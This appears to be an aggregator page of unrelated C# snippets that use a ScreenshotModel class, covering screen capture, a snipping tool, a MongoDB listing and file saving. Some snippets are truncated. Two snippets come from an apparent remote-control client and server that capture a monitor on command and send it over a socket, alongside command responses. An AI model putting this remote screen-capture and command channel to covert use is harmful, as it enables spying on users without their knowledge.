/// <summary> /// Returns a base64 string of the screenshot /// </summary> /// <returns></returns> public static ScreenshotModel MakeScreenshot(string monitorNumber) { int number = 0; bool parse = int.TryParse(monitorNumber, out number); if (parse) { Screen screen = Screen.AllScreens[number]; DEVMODE dm = new DEVMODE(); dm.dmSize = (short)Marshal.SizeOf(typeof(DEVMODE)); EnumDisplaySettings(screen.DeviceName, ENUM_CURRENT_SETTINGS, ref dm); using (Bitmap bmp = new Bitmap(dm.dmPelsWidth, dm.dmPelsHeight)) using (Graphics g = Graphics.FromImage(bmp)) { g.CopyFromScreen(dm.dmPositionX, dm.dmPositionY, 0, 0, bmp.Size); byte[] imageArray = bmp.ToByteArray(ImageFormat.Png); ScreenshotModel ss = new ScreenshotModel { ScreenshotData = Convert.ToBase64String(imageArray), Timestamp = DateTime.Now }; return(ss); } } else { return(default);
public void CreateNewScreenshot() { if (!GetIsSelectedRectangleValid()) { Close(); return; } // Only get the rectangle portion of the dekstop we want Bitmap croppedBitmap = BitmapService.CropBitmap(OriginalScreenBitmap, GetSelectedCaptureArea()); // When creating the new Screenshot form, make sure to place it on the relevant part of the desktop var topLeftPoint = GetTopLeftPoint(); // Apply offset var leftMostScreen = Screen.AllScreens.OrderBy(s => s.Bounds.Left).First(); var leftMostLocation = leftMostScreen.Bounds.Location; topLeftPoint.X += DesktopRectangle.X; topLeftPoint.Y += DesktopRectangle.Y; // TODO: Add Screenshots to groups (for grouped moving etc.) var screenshotModel = new ScreenshotModel(croppedBitmap, topLeftPoint); var newScreenshotForm = new ScreenshotView(); var screenshotPresenter = new ScreenshotPresenter(newScreenshotForm, screenshotModel); newScreenshotForm.SetBitmap(croppedBitmap, topLeftPoint); newScreenshotForm.Show(); Close(); }
public ScreenshotPresenter(IScreenshotView screenshotView, ScreenshotModel screenshotModel) { ScreenshotView = screenshotView; ScreenshotModel = screenshotModel; ScreenshotView.CopyScreenshotToClipboard += ScreenshotView_CopyScreenshotToClipboard; ScreenshotView.SaveScreenshotToFile += ScreenshotView_SaveScreenshotToFile; }
public JsonResult List() { var mongo = new MongoHelper(); // 获取所有类别 var filter = Builders <BsonDocument> .Filter.Eq("Type", "Screenshot"); var categories = mongo.FindMany(Constant.CategoryCollectionName, filter).ToList(); var docs = mongo.FindAll(Constant.ScreenshotCollectionName).SortBy(n => n["Name"]).ToList(); var list = new List <ScreenshotModel>(); foreach (var i in docs) { var categoryID = ""; var categoryName = ""; if (i.Contains("Category") && !i["Category"].IsBsonNull && !string.IsNullOrEmpty(i["Category"].ToString())) { var doc = categories.Where(n => n["_id"].ToString() == i["Category"].ToString()).FirstOrDefault(); if (doc != null) { categoryID = doc["_id"].ToString(); categoryName = doc["Name"].ToString(); } } var info = new ScreenshotModel { ID = i["ID"].AsObjectId.ToString(), Name = i["Name"].AsString, CategoryID = categoryID, CategoryName = categoryName, TotalPinYin = i["TotalPinYin"].ToString(), FirstPinYin = i["FirstPinYin"].ToString(), Url = i["Url"].ToString(), CreateTime = i["CreateTime"].ToUniversalTime(), UpdateTime = i["UpdateTime"].ToUniversalTime(), Thumbnail = i["Thumbnail"].ToString() }; list.Add(info); } return(Json(new { Code = 200, Msg = "Get Successfully!", Data = list })); }
private void SetupScreenshotModel() { var model = new ScreenshotModel(); // モデルのバインド scrshotSaveTxt.DataBindings.Add(Bind(nameof(scrshotSaveTxt.Text), model.SaveFolder)); scrshotTakeAndOpenChk.DataBindings.Add(Bind(nameof(scrshotTakeAndOpenChk.Checked), model.OpenViewer)); exploreScrshotBtn.Bind(model.OpenSaveFolder); model.StatusMsg.Subscribe(StatusDrain); takeScrshotBtn.Click += (_, __) => model.SaveToSpecified.Execute(); scrshotDragLbl.MouseDown += (_, e) => model.DragAreaMouseMove.Execute(e); FormClosed += (_, __) => model.Dispose(); // ドラッグ処理をバインド model.CompleteSaveToTemp += DragImageFileFromArea; }
private bool MakeScreenshot(Socket s, string monitorNumber) { try { ScreenshotModel screenshotObject = Screenshot.MakeScreenshot(monitorNumber); TransferCommandObject pfTransferObject = new TransferCommandObject { Command = "ScreenshotResponse", Value = screenshotObject.ConvertToJson() }; SendResponseObjectToSocket(s, ClientServerPipeline.BufferSerialize(pfTransferObject)); return(true); } catch (Exception e) { BConsole.WriteLine("Visuals Error: " + e.Message, ConsoleColor.Red); return(false); } }
/// <summary> /// Called when a new message was received on any client socket. /// </summary> /// <param name="c"></param> /// <param name="model"></param> /// <param name="type"></param> private void Server_MessageReceived(Client c, TransferCommandObject model, Server.DataByteType type) { BConsole.WriteLine($"Client {c.GetName()} sent a message", ConsoleColor.DarkGray); switch (type) { case Server.DataByteType.Response: if (model.Command == "CMDResponse") { c.AddToCMDBuffer(model.Value); } else if (model.Command == "ScreenshotResponse") { ScreenshotModel screenshotObject = JsonConvert.DeserializeObject <ScreenshotModel>(model.Value); c.SetScreenshot(screenshotObject); } else if (model.Command == "ScreenList") { List <ScreenTypeModel> screenList = JsonConvert.DeserializeObject <List <ScreenTypeModel> >(model.Value); if (screenList != null) { c.SetScreenData(screenList); } } break; case Server.DataByteType.Command: if (model.Command == "Debug") { TransferCommandObject returnObject = new TransferCommandObject { Command = "PlayBeep", Handler = "Audio", Value = "200,300" }; Server.SendDataObjectToSocket(Server.DataByteType.Command, Server.GetSocketByClient(c), ClientServerPipeline.BufferSerialize(returnObject)); } break; case Server.DataByteType.Data: c.SetDataItem(model.Command, model.Value); NotifyPropertyChanged("SelectedClient.storedData"); NotifyPropertyChanged("CurrentClientName"); break; } }
private async Task SaveToFileAsync(StringBuilder path, ScreenshotModel screenshot, Image image) { path.Append(screenshot.AppName); path.Append("_"); path.Append(screenshot.WindowTitle); path.Append("_"); path.Append(image.GetHashCode()); path.Append(".jpg"); string folderPath; if (Directory.Exists(settingsService.Settings.DefaultScreenshotSavePath)) { folderPath = Path.Combine(settingsService.Settings.DefaultScreenshotSavePath, CorrectPath(path.ToString())); } else { folderPath = CorrectPath(path.ToString()); } folderPath = TrimPath(folderPath); await SaveScreenshot(image.Screensht, folderPath); }
public ScreenshotViewModel() { _screenshotModel = new ScreenshotModel(); MyBrush = System.Windows.Media.Brushes.Black; }
/// <summary> /// Function that sets the current screenshot base64 string. /// </summary> /// <param name="base64Image"></param> public void SetScreenshot(ScreenshotModel model) { Screenshot = model; NotifyPropertyChanged("Screenshot"); }